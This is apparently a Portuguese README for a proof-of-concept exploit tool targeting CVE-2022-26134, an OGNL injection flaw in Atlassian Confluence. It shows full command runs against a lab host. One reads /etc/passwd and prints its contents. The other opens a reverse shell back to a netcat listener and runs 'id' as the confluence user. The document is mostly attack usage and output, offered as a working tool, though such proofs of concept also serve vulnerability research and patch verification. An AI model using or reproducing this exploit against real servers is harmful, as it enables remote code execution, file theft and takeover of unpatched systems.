jbaines-r7/through_the_wireCVE-2022-26134 Prova de Conceito
Through the Wire é um exploit de prova de conceito para CVE-2022-26134, uma vulnerabilidade de injeção OGNL que afeta o Atlassian Confluence Server e Data Center versões <= 7.13.6 LTS e <= 7.18.0 "Latest". Originalmente, era um zero-day explorado na natureza.
O Through the Wire implementa dois exploits diferentes. O reverse shell executará o bash e, portanto, tem maior probabilidade de ser detectado. O leitor de arquivos é executado na memória e, portanto, é improvável que seja detectado.
Os exploits funcionam apenas em instalações Linux do Confluence. Eles poderiam funcionar no Windows, mas também sou preguiçoso. Os exploits foram testados contra 7.13.6 LTS (provavelmente alvos corporativos) e 7.18.0 (última "versão" vulnerável).
albinolobster@ubuntu:~/through_the_wire$ python3 through_the_wire.py --rhost 10.0.0.28 --rport 8090 --lhost 10.0.0.2 --protocol http:// --read-file /etc/passwd
_____ _ _
/__ \ |__ _ __ ___ _ _ __ _| |__
/ /\/ '_ \| '__/ _ \| | | |/ _` | '_ \
/ / | | | | | | (_) | |_| | (_| | | | |
\/ |_| |_|_| \___/ \__,_|\__, |_| |_|
|___/
_____ _ __ __ _
/__ \ |__ ___ / / /\ \ (_)_ __ ___
/ /\/ '_ \ / _ \ \ \/ \/ / | '__/ _ \
/ / | | | | __/ \ /\ /| | | | __/
\/ |_| |_|\___| \/ \/ |_|_| \___|
jbaines-r7
CVE-2022-26134
"Spit my soul through the wire"
🦞
[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a payload to read: /etc/passwd
[+] Sending expoit at http://10.0.0.28:8090/
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 39384
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
albinolobster:x:1000:1000:albinolobster,,,:/home/albinolobster:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
postgres:x:128:136:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
confluence:x:1001:1002:Atlassian Confluence:/home/confluence:/bin/sh
albinolobster@ubuntu:~/through_the_wire$
albinolobster@ubuntu:~/through_the_wire$ python3 through_the_wire.py --rhost 10.0.0.28 --rport 8090 --lhost 10.0.0.2 --protocol http:// --reverse-shell
_____ _ _
/__ \ |__ _ __ ___ _ _ __ _| |__
/ /\/ '_ \| '__/ _ \| | | |/ _` | '_ \
/ / | | | | | | (_) | |_| | (_| | | | |
\/ |_| |_|_| \___/ \__,_|\__, |_| |_|
|___/
_____ _ __ __ _
/__ \ |__ ___ / / /\ \ (_)_ __ ___
/ /\/ '_ \ / _ \ \ \/ \/ / | '__/ _ \
/ / | | | | __/ \ /\ /| | | | __/
\/ |_| |_|\___| \/ \/ |_|_| \___|
jbaines-r7
CVE-2022-26134
"Spit my soul through the wire"
🦞
[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://10.0.0.28:8090/
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 39386
bash: cannot set terminal process group (34470): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
confluence@ubuntu:/opt/atlassian/confluence/bin$ id
id
uid=1001(confluence) gid=1002(confluence) groups=1002(confluence)
confluence@ubuntu:/opt/atlassian/confluence/bin$